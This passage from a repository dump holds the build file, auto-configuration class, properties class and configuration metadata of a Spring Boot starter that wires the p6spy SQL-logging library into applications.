available：https://p6spy.readthedocs.io/en/latest/configandusage.html\n"
  },
  {
    "path": "jun_springboot_starter/jun-p6spy-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.github.klboke</groupId>\n    <artifactId>p6spy-spring-boot-starter</artifactId>\n    <version>1.0</version>\n    <description>p6spy 的spring boot starter快速装配工程</description>\n\n    <properties>\n        <spring-boot.version>2.2.0.RELEASE</spring-boot.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <p6spy.version>3.8.6</p6spy.version>\n    </properties>\n\n    <scm>\n        <developerConnection>http://www.kailing.pub/</developerConnection>\n        <url>https://github.com/klboke/p6spy-spring-boot-starter.git</url>\n    </scm>\n    <url>https://github.com/klboke/p6spy-spring-boot-starter</url>\n    <licenses>\n        <license>\n            <name>Apache 2</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n        </license>\n    </licenses>\n    <developers>\n        <developer>\n            <name>kl</name>\n            <email>632104866@qq.com</email>\n            <url>http://www.kailing.pub/</url>\n        </developer>\n    </developers>\n\n    <dependencies>\n        <dependency>\n            <groupId>p6spy</groupId>\n            <artifactId>p6spy</artifactId>\n            <version>${p6spy.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n            <version>${spring-boot.version}</version>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <version>${spring-boot.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <version>${spring-boot.version}</version>\n            <optional>true</optional>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n            <version>${spring-boot.version}</version>\n            <optional>true</optional>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <artifactId>maven-eclipse-plugin</artifactId>\n                <configuration>\n                    <downloadSources>true</downloadSources>\n                    <downloadJavadocs>true</downloadJavadocs>\n                    <classpathContainers>\n                        <classpathContainer>org.eclipse.jdt.launching.JRE_CONTAINER</classpathContainer>\n                    </classpathContainers>\n                    <excludes>\n                        <exclude>org.springframework.boot:spring-boot-starter-tomcat</exclude>\n                    </excludes>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <distributionManagement>\n        <repository>\n            <id>releases</id>\n            <url>https://oss.sonatype.org/content/repositories/releases/</url>\n        </repository>\n        <snapshotRepository>\n            <id>snapshots</id>\n            <url>https://oss.sonatype.org/content/repositories/snapshots/</url>\n        </snapshotRepository>\n    </distributionManagement>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-p6spy-spring-boot-starter/src/main/java/com/github/klboke/springboot/autoconfigure/p6spy/P6spyAutoConfiguration.java",
    "content": "package com.github.klboke.springboot.autoconfigure.p6spy;\n\nimport com.p6spy.engine.spy.option.SystemProperties;\nimport org.springframework.boot.ApplicationArguments;\nimport org.springframework.boot.ApplicationRunner;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\nimport com.p6spy.engine.spy.*;\nimport org.springframework.core.env.Environment;\n\nimport java.lang.reflect.Field;\nimport java.util.Map;\n\n/**\n * @author: kl @kailing.pub\n * @date: 2019/11/13\n */\n@Configuration(proxyBeanMethods = false)\n@ConditionalOnClass(P6SpyDriver.class)\n@EnableConfigurationProperties(P6spyProperties.class)\n@ConditionalOnProperty(prefix = P6spyProperties.P6SPY_CONFIG_PREFIX, name = \"enabled\", havingValue = \"true\",matchIfMissing = true)\npublic class P6spyAutoConfiguration implements ApplicationRunner {\n\n    private final Environment environment;\n\n    public P6spyAutoConfiguration(Environment environment) {\n        this.environment = environment;\n    }\n\n    @Override\n    public void run(ApplicationArguments args) {\n        P6spyAutoConfiguration.p6spyReload(environment);\n    }\n\n    public static void p6spyReload(Environment p6spyProperties) {\n        Map<String, String> defaults = P6SpyOptions.getActiveInstance().getDefaults();\n        Field[] fields = P6spyProperties.class.getDeclaredFields();\n        for (Field field : fields) {\n            String fieldName = field.getName();\n            String propertiesName = SystemProperties.P6SPY_PREFIX.concat(fieldName);\n            if (p6spyProperties.containsProperty(propertiesName)) {\n                String systemPropertyValue = p6spyProperties.getProperty(propertiesName, defaults.get(fieldName));\n                defaults.put(fieldName, systemPropertyValue);\n            }\n        }\n        P6SpyOptions.getActiveInstance().load(defaults);\n        P6ModuleManager.getInstance().reload();\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-p6spy-spring-boot-starter/src/main/java/com/github/klboke/springboot/autoconfigure/p6spy/P6spyProperties.java",
    "content": "package com.github.klboke.springboot.autoconfigure.p6spy;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\nimport static com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties.P6SPY_CONFIG_PREFIX;\n\n/**\n * @author: kl @kailing.pub\n * @date: 2019/11/13\n */\n@ConfigurationProperties(prefix = P6SPY_CONFIG_PREFIX)\npublic class P6spyProperties {\n\n    public static final String P6SPY_CONFIG_PREFIX= \"p6spy.config\";\n    /**\n     *     # for flushing per statement\n     *     # (default is false)\n     */\n    private String autoflush;\n    /**\n     *     # A comma separated list of JDBC drivers to load and register.\n     *     # (default is empty)\n     *     #\n     *     # Note: This is normally only needed when using P6Spy in an\n     *     # application server environment with a JNDI data source or when\n     *     # using a JDBC driver that does not implement the JDBC 4.0 API\n     *     # (specifically automatic registration).\n     */\n    private String driverlist;\n    /**\n     *     # name of logfile to use, note Windows users should make sure to use forward slashes in their pathname (e:/test/spy.log)\n     *     # (used for com.p6spy.engine.spy.appender.FileLogger only)\n     *     # (default is spy.log)\n     */\n    private String logfile;\n    /**\n     *     # class to use for formatting log messages (default is: com.p6spy.engine.spy.appender.SingleLineFormat)\n     */\n    private String logMessageFormat;\n    /**\n     *     # append to the p6spy log file. if this is set to false the\n     *     # log file is truncated every time. (file logger only)\n     *     # (default is true)\n     */\n    private String append;\n    /**\n     *     # sets the date format using Java's SimpleDateFormat routine.\n     *     # In case property is not set, milliseconds since 1.1.1970 (unix time) is used (default\n     */\n    private String dateformat;\n    /**\n     *     # specifies the appender to use for logging\n     *     # Please note: reload means forgetting all the previously set\n     *     # settings (even those set during runtime - via JMX)\n     *     # and starting with the clean table\n     *     # (only the properties read from the configuration file)\n     *     # (default is com.p6spy.engine.spy.appender.FileLogger)\n     *     #appender=com.p6spy.engine.spy.appender.Slf4JLogger\n     *     #appender=com.p6spy.engine.spy.appender.StdoutLogger\n     *     #appender=com.p6spy.engine.spy.appender.FileLogger\n     */\n    private String appender;\n    /**\n     *     # Module list adapts the modular functionality of P6Spy.\n     *     # Only modules listed are active.\n     *     # (default is com.p6spy.engine.logging.P6LogFactory and\n     *     # com.p6spy.engine.spy.P6SpyFactory)\n     *     # Please note that the core module (P6SpyFactory) can't be\n     *     # deactivated.\n     *     # Unlike the other properties, activation of the changes on\n     *     # this one requires reload.\n     */\n    private String modulelist;\n    /**\n     *     # prints a stack trace for every statement logged\n     */\n    private String stacktrace;\n    /**\n     *     # if stacktrace=true, specifies the stack trace to print\n     */\n    private String stacktraceclass;\n\n    /**\n     *     # determines if property file should be reloaded\n     *     # Please note: reload means forgetting all the previously set\n     *     # settings (even those set during runtime - via JMX)\n     *     # and starting with the clean table\n     *     # (default is false)\n     *     #reloadproperties=false\n     */\n    private String reloadproperties;\n    /**\n     *     # determines how often should be reloaded in seconds\n     *     # (default is 60)\n     *     #reloadpropertiesinterval=60\n     */\n    private String reloadpropertiesinterval;\n    /**\n     *     # JNDI DataSource lookup                                        #\n     *     #                                                               #\n     *     # If you are using the DataSource support outside of an app     #\n     *     # server, you will probably need to define the JNDI Context     #\n     *     # environment.                                                  #\n     *     #                                                               #\n     *     # If the P6Spy code will be executing inside an app server then #\n     *     # do not use these properties, and the DataSource lookup will   #\n     *     # use the naming context defined by the app server.             #\n     *     #                                                               #\n     *     # The two standard elements of the naming environment are       #\n     *     # jndicontextfactory and jndicontextproviderurl. If you need    #\n     *     # additional elements, use the jndicontextcustom property.      #\n     *     # You can define multiple properties in jndicontextcustom,      #\n     *     # in name value pairs. Separate the name and value with a       #\n     *     # semicolon, and separate the pairs with commas.                #\n     *     #                                                               #\n     *     # The example shown here is for a standalone program running on #\n     *     # a machine that is also running JBoss, so the JNDI context     #\n     *     # is configured for JBoss (3.0.4).                              #\n     *     #                                                               #\n     *     # (by default all these are empty)                              #\n     *     #################################################################\n     *     #jndicontextfactory=org.jnp.interfaces.NamingContextFactory\n     *     #jndicontextproviderurl=localhost:1099\n     *     #jndicontextcustom=java.naming.factory.url.pkgs;org.jboss.naming:org.jnp.interfaces\n     */\n    private String jndicontextfactory;\n    /**\n     *     # JNDI DataSource lookup                                        #\n     *     #                                                               #\n     *     # If you are using the DataSource support outside of an app     #\n     *     # server, you will probably need to define the JNDI Context     #\n     *     # environment.                                                  #\n     *     #                                                               #\n     *     # If the P6Spy code will be executing inside an app server then #\n     *     # do not use these properties, and the DataSource lookup will   #\n     *     # use the naming context defined by the app server.             #\n     *     #                                                               #\n     *     # The two standard elements of the naming environment are       #\n     *     # jndicontextfactory and jndicontextproviderurl. If you need    #\n     *     # additional elements, use the jndicontextcustom property.      #\n     *     # You can define multiple properties in jndicontextcustom,      #\n     *     # in name value pairs. Separate the name and value with a       #\n     *     # semicolon, and separate the pairs with commas.                #\n     *     #                                                               #\n     *     # The example shown here is for a standalone program running on #\n     *     # a machine that is also running JBoss, so the JNDI context     #\n     *     # is configured for JBoss (3.0.4).                              #\n     *     #                                                               #\n     *     # (by default all these are empty)                              #\n     *     #################################################################\n     *     #jndicontextfactory=org.jnp.interfaces.NamingContextFactory\n     *     #jndicontextproviderurl=localhost:1099\n     *     #jndicontextcustom=java.naming.factory.url.pkgs;org.jboss.naming:org.jnp.interfaces\n     */\n    private String jndicontextproviderurl;\n    /**\n     *     # JNDI DataSource lookup                                        #\n     *     #                                                               #\n     *     # If you are using the DataSource support outside of an app     #\n     *     # server, you will probably need to define the JNDI Context     #\n     *     # environment.                                                  #\n     *     #                                                               #\n     *     # If the P6Spy code will be executing inside an app server then #\n     *     # do not use these properties, and the DataSource lookup will   #\n     *     # use the naming context defined by the app server.             #\n     *     #                                                               #\n     *     # The two standard elements of the naming environment are       #\n     *     # jndicontextfactory and jndicontextproviderurl. If you need    #\n     *     # additional elements, use the jndicontextcustom property.      #\n     *     # You can define multiple properties in jndicontextcustom,      #\n     *     # in name value pairs. Separate the name and value with a       #\n     *     # semicolon, and separate the pairs with commas.                #\n     *     #                                                               #\n     *     # The example shown here is for a standalone program running on #\n     *     # a machine that is also running JBoss, so the JNDI context     #\n     *     # is configured for JBoss (3.0.4).                              #\n     *     #                                                               #\n     *     # (by default all these are empty)                              #\n     *     #################################################################\n     *     #jndicontextfactory=org.jnp.interfaces.NamingContextFactory\n     *     #jndicontextproviderurl=localhost:1099\n     *     #jndicontextcustom=java.naming.factory.url.pkgs;org.jboss.naming:org.jnp.interfaces\n     */\n    private String jndicontextcustom;\n    /**\n     *     # DataSource replacement                                        #\n     *     #                                                               #\n     *     # Replace the real DataSource class in your application server  #\n     *     # configuration with the name com.p6spy.engine.spy.P6DataSource #\n     *     # (that provides also connection pooling and xa support).       #\n     *     # then add the JNDI name and class name of the real             #\n     *     # DataSource here                                               #\n     *     #                                                               #\n     *     # Values set in this item cannot be reloaded using the          #\n     *     # reloadproperties variable. Once it is loaded, it remains      #\n     *     # in memory until the application is restarted.                 #\n     *     #                                                               #\n     *     #################################################################\n     *     #realdatasource=/RealMySqlDS\n     */\n    private String realdatasource;\n    /**\n     *     #realdatasourceclass=com.mysql.jdbc.jdbc2.optional.MysqlDataSource\n     */\n    private String realdatasourceclass;\n    /**\n     *     # DataSource properties                                         #\n     *     #                                                               #\n     *     # If you are using the DataSource support to intercept calls    #\n     *     # to a DataSource that requires properties for proper setup,    #\n     *     # define those properties here. Use name value pairs, separate  #\n     *     # the name and value with a semicolon, and separate the         #\n     *     # pairs with commas.                                            #\n     *     #                                                               #\n     *     # The example shown here is for mysql                           #\n     *     #                                                               #\n     *     #################################################################\n     *     #realdatasourceproperties=port;3306,serverName;myhost,databaseName;jbossdb,foo;bar\n     */\n    private String realdatasourceproperties;\n    /**\n     *     # Custom log message format used ONLY IF logMessageFormat is set to com.p6spy.engine.spy.appender.CustomLineFormat\n     *     # default is %(currentTime)|%(executionTime)|%(category)|connection%(connectionId)|%(sqlSingleLine)\n     *     # Available placeholders are:\n     *     #   %(connectionId)            the id of the connection\n     *     #   %(currentTime)             the current time expressing in milliseconds\n     *     #   %(executionTime)           the time in milliseconds that the operation took to complete\n     *     #   %(category)                the category of the operation\n     *     #   %(effectiveSql)            the SQL statement as submitted to the driver\n     *     #   %(effectiveSqlSingleLine)  the SQL statement as submitted to the driver, with all new lines removed\n     *     #   %(sql)                     the SQL statement with all bind variables replaced with actual values\n     *     #   %(sqlSingleLine)           the SQL statement with all bind variables replaced with actual values, with all new lines removed\n     *     #customLogMessageFormat=%(currentTime)|%(executionTime)|%(category)|connection%(connectionId)|%(sqlSingleLine)\n     */\n    private String customLogMessageFormat;\n    /**\n     *     # format that is used for logging of the java.util.Date implementations (has to be compatible with java.text.SimpleDateFormat)\n     *     # (default is yyyy-MM-dd'T'HH:mm:ss.SSSZ)\n     *     #databaseDialectDateFormat=yyyy-MM-dd'T'HH:mm:ss.SSSZ\n     */\n    private String databaseDialectDateFormat;\n    /**\n     *     # format that is used for logging of the java.sql.Timestamp implementations (has to be compatible with java.text.SimpleDateFormat)\n     *     # (default is yyyy-MM-dd'T'HH:mm:ss.SSSZ)\n     *     #databaseDialectTimestampFormat=yyyy-MM-dd'T'HH:mm:ss.SSSZ\n     */\n    private String databaseDialectTimestampFormat;\n    /**\n     *     # format that is used for logging booleans, possible values: boolean, numeric\n     *     # (default is boolean)\n     *     #databaseDialectBooleanFormat=boolean\n     */\n    private String databaseDialectBooleanFormat;\n    /**\n     *     # whether to expose options via JMX or not\n     *     # (default is true)\n     *     #jmx=true\n     */\n    private String jmx;\n    /**\n     *     # if exposing options via jmx (see option: jmx), what should be the prefix used?\n     *     # jmx naming pattern constructed is: com.p6spy(.<jmxPrefix>)?:name=<optionsClassName>\n     *     # please note, if there is already such a name in use it would be unregistered first (the last registered wins)\n     *     # (default is none)\n     *     #jmxPrefix=\n     */\n    private String jmxPrefix;\n\n\n    public String getAutoflush() {\n        return autoflush;\n    }\n\n    public void setAutoflush(String autoflush) {\n        this.autoflush = autoflush;\n    }\n\n    public String getDriverlist() {\n        return driverlist;\n    }\n\n    public void setDriverlist(String driverlist) {\n        this.driverlist = driverlist;\n    }\n\n    public String getLogfile() {\n        return logfile;\n    }\n\n    public void setLogfile(String logfile) {\n        this.logfile = logfile;\n    }\n\n    public String getLogMessageFormat() {\n        return logMessageFormat;\n    }\n\n    public void setLogMessageFormat(String logMessageFormat) {\n        this.logMessageFormat = logMessageFormat;\n    }\n\n    public String getAppend() {\n        return append;\n    }\n\n    public void setAppend(String append) {\n        this.append = append;\n    }\n\n    public String getDateformat() {\n        return dateformat;\n    }\n\n    public void setDateformat(String dateformat) {\n        this.dateformat = dateformat;\n    }\n\n    public String getAppender() {\n        return appender;\n    }\n\n    public void setAppender(String appender) {\n        this.appender = appender;\n    }\n\n    public String getModulelist() {\n        return modulelist;\n    }\n\n    public void setModulelist(String modulelist) {\n        this.modulelist = modulelist;\n    }\n\n    public String getStacktrace() {\n        return stacktrace;\n    }\n\n    public void setStacktrace(String stacktrace) {\n        this.stacktrace = stacktrace;\n    }\n\n    public String getStacktraceclass() {\n        return stacktraceclass;\n    }\n\n    public void setStacktraceclass(String stacktraceclass) {\n        this.stacktraceclass = stacktraceclass;\n    }\n\n    public String getReloadproperties() {\n        return reloadproperties;\n    }\n\n    public void setReloadproperties(String reloadproperties) {\n        this.reloadproperties = reloadproperties;\n    }\n\n    public String getReloadpropertiesinterval() {\n        return reloadpropertiesinterval;\n    }\n\n    public void setReloadpropertiesinterval(String reloadpropertiesinterval) {\n        this.reloadpropertiesinterval = reloadpropertiesinterval;\n    }\n\n    public String getJndicontextfactory() {\n        return jndicontextfactory;\n    }\n\n    public void setJndicontextfactory(String jndicontextfactory) {\n        this.jndicontextfactory = jndicontextfactory;\n    }\n\n    public String getJndicontextproviderurl() {\n        return jndicontextproviderurl;\n    }\n\n    public void setJndicontextproviderurl(String jndicontextproviderurl) {\n        this.jndicontextproviderurl = jndicontextproviderurl;\n    }\n\n    public String getJndicontextcustom() {\n        return jndicontextcustom;\n    }\n\n    public void setJndicontextcustom(String jndicontextcustom) {\n        this.jndicontextcustom = jndicontextcustom;\n    }\n\n    public String getRealdatasource() {\n        return realdatasource;\n    }\n\n    public void setRealdatasource(String realdatasource) {\n        this.realdatasource = realdatasource;\n    }\n\n    public String getRealdatasourceclass() {\n        return realdatasourceclass;\n    }\n\n    public void setRealdatasourceclass(String realdatasourceclass) {\n        this.realdatasourceclass = realdatasourceclass;\n    }\n\n    public String getRealdatasourceproperties() {\n        return realdatasourceproperties;\n    }\n\n    public void setRealdatasourceproperties(String realdatasourceproperties) {\n        this.realdatasourceproperties = realdatasourceproperties;\n    }\n\n    public String getCustomLogMessageFormat() {\n        return customLogMessageFormat;\n    }\n\n    public void setCustomLogMessageFormat(String customLogMessageFormat) {\n        this.customLogMessageFormat = customLogMessageFormat;\n    }\n\n    public String getDatabaseDialectDateFormat() {\n        return databaseDialectDateFormat;\n    }\n\n    public void setDatabaseDialectDateFormat(String databaseDialectDateFormat) {\n        this.databaseDialectDateFormat = databaseDialectDateFormat;\n    }\n\n    public String getDatabaseDialectTimestampFormat() {\n        return databaseDialectTimestampFormat;\n    }\n\n    public void setDatabaseDialectTimestampFormat(String databaseDialectTimestampFormat) {\n        this.databaseDialectTimestampFormat = databaseDialectTimestampFormat;\n    }\n\n    public String getDatabaseDialectBooleanFormat() {\n        return databaseDialectBooleanFormat;\n    }\n\n    public void setDatabaseDialectBooleanFormat(String databaseDialectBooleanFormat) {\n        this.databaseDialectBooleanFormat = databaseDialectBooleanFormat;\n    }\n\n    public String getJmx() {\n        return jmx;\n    }\n\n    public void setJmx(String jmx) {\n        this.jmx = jmx;\n    }\n\n    public String getJmxPrefix() {\n        return jmxPrefix;\n    }\n\n    public void setJmxPrefix(String jmxPrefix) {\n        this.jmxPrefix = jmxPrefix;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-p6spy-spring-boot-starter/src/main/resources/META-INF/spring-configuration-metadata.json",
    "content": "{\n  \"groups\": [\n    {\n      \"name\": \"p6spy.config\",\n      \"type\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    }\n  ],\n  \"properties\": [\n    {\n      \"name\": \"p6spy.config.append\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# append to the p6spy log file. if this is set to false the     # log file is truncated every time. (file logger only)     # (default is true)\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.enabled\",\n      \"type\": \"java.lang.Boolean\",\n      \"description\": \"Whether to enable p6spy\"\n    },\n    {\n      \"name\": \"p6spy.config.appender\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# specifies the appender to use for logging     # Please note: reload means forgetting all the previously set     # settings (even those set during runtime - via JMX)     # and starting with the clean table     # (only the properties read from the configuration file)     # (default is com.p6spy.engine.spy.appender.FileLogger)     #appender=com.p6spy.engine.spy.appender.Slf4JLogger     #appender=com.p6spy.engine.spy.appender.StdoutLogger     #appender=com.p6spy.engine.spy.appender.FileLogger\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.autoflush\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# for flushing per statement     # (default is false)\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.customLogMessageFormat\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# Custom log message format used ONLY IF logMessageFormat is set to com.p6spy.engine.spy.appender.CustomLineFormat     # default is %(currentTime)|%(executionTime)|%(category)|connection%(connectionId)|%(sqlSingleLine)     # Available placeholders are:     #   %(connectionId)            the id of the connection     #   %(currentTime)             the current time expressing in milliseconds     #   %(executionTime)           the time in milliseconds that the operation took to complete     #   %(category)                the category of the operation     #   %(effectiveSql)            the SQL statement as submitted to the driver     #   %(effectiveSqlSingleLine)  the SQL statement as submitted to the driver, with all new lines removed     #   %(sql)                     the SQL statement with all bind variables replaced with actual values     #   %(sqlSingleLine)           the SQL statement with all bind variables replaced with actual values, with all new lines removed     #customLogMessageFormat=%(currentTime)|%(executionTime)|%(category)|connection%(connectionId)|%(sqlSingleLine)\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.databaseDialectBooleanFormat\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# format that is used for logging booleans, possible values: boolean, numeric     # (default is boolean)     #databaseDialectBooleanFormat=boolean\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.databaseDialectDateFormat\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# format that is used for logging of the java.util.Date implementations (has to be compatible with java.text.SimpleDateFormat)     # (default is yyyy-MM-dd'T'HH:mm:ss.SSSZ)     #databaseDialectDateFormat=yyyy-MM-dd'T'HH:mm:ss.SSSZ\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.databaseDialectTimestampFormat\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# format that is used for logging of the java.sql.Timestamp implementations (has to be compatible with java.text.SimpleDateFormat)     # (default is yyyy-MM-dd'T'HH:mm:ss.SSSZ)     #databaseDialectTimestampFormat=yyyy-MM-dd'T'HH:mm:ss.SSSZ\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.dateformat\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# sets the date format using Java's SimpleDateFormat routine.     # In case property is not set, milliseconds since 1.1.1970 (unix time) is used (default\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.driverlist\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# A comma separated list of JDBC drivers to load and register.     # (default is empty)     #     # Note: This is normally only needed when using P6Spy in an     # application server environment with a JNDI data source or when     # using a JDBC driver that does not implement the JDBC 4.0 API     # (specifically automatic registration).\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.jmx\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# whether to expose options via JMX or not     # (default is true)     #jmx=true\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.jmxPrefix\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# if exposing options via jmx (see option: jmx), what should be the prefix used?     # jmx naming pattern constructed is: com.p6spy(.<jmxPrefix>)?:name=<optionsClassName>     # please note, if there is already such a name in use it would be unregistered first (the last registered wins)     # (default is none)     #jmxPrefix=\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.jndicontextcustom\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# JNDI DataSource lookup                                        #     #                                                               #     # If you are using the DataSource support outside of an app     #     # server, you will probably need to define the JNDI Context     #     # environment.                                                  #     #                                                               #     # If the P6Spy code will be executing inside an app server then #     # do not use these properties, and the DataSource lookup will   #     # use the naming context defined by the app server.             #     #                                                               #     # The two standard elements of the naming environment are       #     # jndicontextfactory and jndicontextproviderurl. If you need    #     # additional elements, use the jndicontextcustom property.      #     # You can define multiple properties in jndicontextcustom,      #     # in name value pairs. Separate the name and value with a       #     # semicolon, and separate the pairs with commas.                #     #                                                               #     # The example shown here is for a standalone program running on #     # a machine that is also running JBoss, so the JNDI context     #     # is configured for JBoss (3.0.4).                              #     #                                                               #     # (by default all these are empty)                              #     #################################################################     #jndicontextfactory=org.jnp.interfaces.NamingContextFactory     #jndicontextproviderurl=localhost:1099     #jndicontextcustom=java.naming.factory.url.pkgs;org.jboss.naming:org.jnp.interfaces\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.jndicontextfactory\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# JNDI DataSource lookup                                        #     #                                                               #     # If you are using the DataSource support outside of an app     #     # server, you will probably need to define the JNDI Context     #     # environment.                                                  #     #                                                               #     # If the P6Spy code will be executing inside an app server then #     # do not use these properties, and the DataSource lookup will   #     # use the naming context defined by the app server.             #     #                                                               #     # The two standard elements of the naming environment are       #     # jndicontextfactory and jndicontextproviderurl. If you need    #     # additional elements, use the jndicontextcustom property.      #     # You can define multiple properties in jndicontextcustom,      #     # in name value pairs. Separate the name and value with a       #     # semicolon, and separate the pairs with commas.                #     #                                                               #     # The example shown here is for a standalone program running on #     # a machine that is also running JBoss, so the JNDI context     #     # is configured for JBoss (3.0.4).                              #     #                                                               #     # (by default all these are empty)                              #     #################################################################     #jndicontextfactory=org.jnp.interfaces.NamingContextFactory     #jndicontextproviderurl=localhost:1099     #jndicontextcustom=java.naming.factory.url.pkgs;org.jboss.naming:org.jnp.interfaces\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.jndicontextproviderurl\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# JNDI DataSource lookup                                        #     #                                                               #     # If you are using the DataSource support outside of an app     #     # server, you will probably need to define the JNDI Context     #     # environment.                                                  #     #                                                               #     # If the P6Spy code will be executing inside an app server then #     # do not use these properties, and the DataSource lookup will   #     # use the naming context defined by the app server.             #     #                                                               #     # The two standard elements of the naming environment are       #     # jndicontextfactory and jndicontextproviderurl. If you need    #     # additional elements, use the jndicontextcustom property.      #     # You can define multiple properties in jndicontextcustom,      #     # in name value pairs. Separate the name and value with a       #     # semicolon, and separate the pairs with commas.                #     #                                                               #     # The example shown here is for a standalone program running on #     # a machine that is also running JBoss, so the JNDI context     #     # is configured for JBoss (3.0.4).                              #     #                                                               #     # (by default all these are empty)                              #     #################################################################     #jndicontextfactory=org.jnp.interfaces.NamingContextFactory     #jndicontextproviderurl=localhost:1099     #jndicontextcustom=java.naming.factory.url.pkgs;org.jboss.naming:org.jnp.interfaces\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.logMessageFormat\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# class to use for formatting log messages (default is: com.p6spy.engine.spy.appender.SingleLineFormat)\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.logfile\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# name of logfile to use, note Windows users should make sure to use forward slashes in their pathname (e:\\/test\\/spy.log)     # (used for com.p6spy.engine.spy.appender.FileLogger only)     # (default is spy.log)\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.modulelist\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# Module list adapts the modular functionality of P6Spy.     # Only modules listed are active.     # (default is com.p6spy.engine.logging.P6LogFactory and     # com.p6spy.engine.spy.P6SpyFactory)     # Please note that the core module (P6SpyFactory) can't be     # deactivated.     # Unlike the other properties, activation of the changes on     # this one requires reload.\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": 